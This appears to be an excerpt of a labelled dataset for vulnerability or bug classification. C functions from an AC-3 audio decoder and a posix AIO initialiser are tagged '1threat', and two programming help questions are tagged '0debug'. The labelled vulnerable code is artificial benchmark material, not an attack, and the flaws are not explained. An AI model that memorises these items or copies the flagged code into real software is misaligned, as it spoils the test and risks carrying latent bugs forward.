bit_alloc_flags |= 32;
ab->lfeexps[0] = ab->dlfeexps[0] = get_bits(gb, 4);
ab->lfeexps[1] = get_bits(gb, 7);
ab->lfeexps[2] = get_bits(gb, 7);
}
if (decode_exponents(ctx)) {
av_log(NULL, AV_LOG_ERROR, "Error parsing exponents\n");
return -1;
}
if (get_bits(gb, 1)) {
*flags |= AC3_AB_BAIE;
bit_alloc_flags |= 127;
ab->sdcycod = get_bits(gb, 2);
ab->fdcycod = get_bits(gb, 2);
ab->sgaincod = get_bits(gb, 2);
ab->dbpbcod = get_bits(gb, 2);
ab->floorcod = get_bits(gb, 3);
}
if (get_bits(gb, 1)) {
*flags |= AC3_AB_SNROFFSTE;
bit_alloc_flags |= 127;
ab->csnroffst = get_bits(gb, 6);
if (*flags & AC3_AB_CPLINU) {
ab->cplfsnroffst = get_bits(gb, 4);
ab->cplfgaincod = get_bits(gb, 3);
}
for (i = 0; i < nfchans; i++) {
ab->fsnroffst[i] = get_bits(gb, 4);
ab->fgaincod[i] = get_bits(gb, 3);
}
if (ctx->bsi.flags & AC3_BSI_LFEON) {
ab->lfefsnroffst = get_bits(gb, 4);
ab->lfefgaincod = get_bits(gb, 3);
}
}
if (*flags & AC3_AB_CPLINU)
if (get_bits(gb, 1)) {
bit_alloc_flags |= 64;
*flags |= AC3_AB_CPLLEAKE;
ab->cplfleak = get_bits(gb, 3);
ab->cplsleak = get_bits(gb, 3);
}
if (get_bits(gb, 1)) {
*flags |= AC3_AB_DELTBAIE;
bit_alloc_flags |= 127;
if (*flags & AC3_AB_CPLINU) {
ab->cpldeltbae = get_bits(gb, 2);
if (ab->cpldeltbae == AC3_DBASTR_RESERVED) {
av_log(NULL, AV_LOG_ERROR, "coupling delta bit allocation strategy reserved\n");
return -1;
}
}
for (i = 0; i < nfchans; i++) {
ab->deltbae[i] = get_bits(gb, 2);
if (ab->deltbae[i] == AC3_DBASTR_RESERVED) {
av_log(NULL, AV_LOG_ERROR, "delta bit allocation strategy reserved\n");
return -1;
}
}
if (*flags & AC3_AB_CPLINU)
if (ab->cpldeltbae == AC3_DBASTR_NEW) {
ab->cpldeltnseg = get_bits(gb, 3);
for (seg = 0; seg <= ab->cpldeltnseg; seg++) {
ab->cpldeltoffst[seg] = get_bits(gb, 5);
ab->cpldeltlen[seg] = get_bits(gb, 4);
ab->cpldeltba[seg] = get_bits(gb, 3);
}
}
for (i = 0; i < nfchans; i++)
if (ab->deltbae[i] == AC3_DBASTR_NEW) {
ab->deltnseg[i] = get_bits(gb, 3);
for (seg = 0; seg <= ab->deltnseg[i]; seg++) {
ab->deltoffst[i][seg] = get_bits(gb, 5);
ab->deltlen[i][seg] = get_bits(gb, 4);
ab->deltba[i][seg] = get_bits(gb, 3);
}
}
}
if (do_bit_allocation (ctx, bit_alloc_flags)) {
av_log(NULL, AV_LOG_ERROR, "Error in bit allocation routine\n");
return -1;
}
if (get_bits(gb, 1)) {
*flags |= AC3_AB_SKIPLE;
ab->skipl = get_bits(gb, 9);
while (ab->skipl) {
get_bits(gb, 8);
ab->skipl--;
}
}
if (get_transform_coeffs(ctx)) {
av_log(NULL, AV_LOG_ERROR, "Error in routine get_transform_coeffs\n");
return -1;
}
if (*flags & AC3_AB_REMATSTR)
do_rematrixing(ctx);
if (ctx->output != AC3_OUTPUT_UNMODIFIED)
do_downmix(ctx);
return 0;
}
| 1threat |
When i use this on my site it crashes it, how do i change it : I want to use a css rollover on a site but when i try to implement the css it crashes the site, i believe it's something to do with the <div> , what can i change it to, to stop crashing
jsfiddle link : `http://jsfiddle. net/ANKwQ/5315/`
All help is appreciated | 0debug |
static void process_frame(AVFilterLink *inlink, AVFilterBufferRef *buf)
{
AVFilterContext *ctx = inlink->dst;
ConcatContext *cat = ctx->priv;
unsigned in_no = FF_INLINK_IDX(inlink);
if (in_no < cat->cur_idx) {
av_log(ctx, AV_LOG_ERROR, "Frame after EOF on input %s\n",
ctx->input_pads[in_no].name);
avfilter_unref_buffer(buf);
} if (in_no >= cat->cur_idx + ctx->nb_outputs) {
ff_bufqueue_add(ctx, &cat->in[in_no].queue, buf);
} else {
push_frame(ctx, in_no, buf);
}
}
| 1threat |
c# Regex catch string between two string : <p>i've to catch a value beetween angular brackets, I parse an'html page into a string (i can't use external library, so i have to use that html like a string). I have two div's content to catch, i know the id they have and i'm trying to catch the content by using regex, but i'm not able to do it.</p>
<p><code>var div_tags = Regex.Match(json, "<div id=(.*)</div>").Groups[0];</code></p>
<p>that returns me all the 3 div that i have with an id. but i only need of two div, wich id contains the word "mobile".
So.. I tryed another regex suggested by a my coworker, but if think that it's not compatible with .net regex evaluetor.</p>
<p><code>string titolo = Regex.Replace(json, "<div id=[.*]mobile[.*]>(.*)</div>");</code></p>
<p>Thath's an example of the div. the only value i need is Message. The two div's ids are mobileBody and mobileTitle.</p>
<p><code><div id='mobileBody' style='display:none;'>Message</div></code></p>
<p>What's wrong in my regex that doesn't allow me to catch the correct text?</p>
| 0debug |
void *paio_init(void)
{
struct sigaction act;
PosixAioState *s;
int fds[2];
int ret;
if (posix_aio_state)
return posix_aio_state;
s = qemu_malloc(sizeof(PosixAioState));
sigfillset(&act.sa_mask);
act.sa_flags = 0;
act.sa_handler = aio_signal_handler;
sigaction(SIGUSR2, &act, NULL);
s->first_aio = NULL;
if (pipe(fds) == -1) {
fprintf(stderr, "failed to create pipe\n");
return NULL;
}
s->rfd = fds[0];
s->wfd = fds[1];
fcntl(s->rfd, F_SETFL, O_NONBLOCK);
fcntl(s->wfd, F_SETFL, O_NONBLOCK);
qemu_aio_set_fd_handler(s->rfd, posix_aio_read, NULL, posix_aio_flush, s);
ret = pthread_attr_init(&attr);
if (ret)
die2(ret, "pthread_attr_init");
ret = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
if (ret)
die2(ret, "pthread_attr_setdetachstate");
TAILQ_INIT(&request_list);
posix_aio_state = s;
return posix_aio_state;
}
| 1threat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.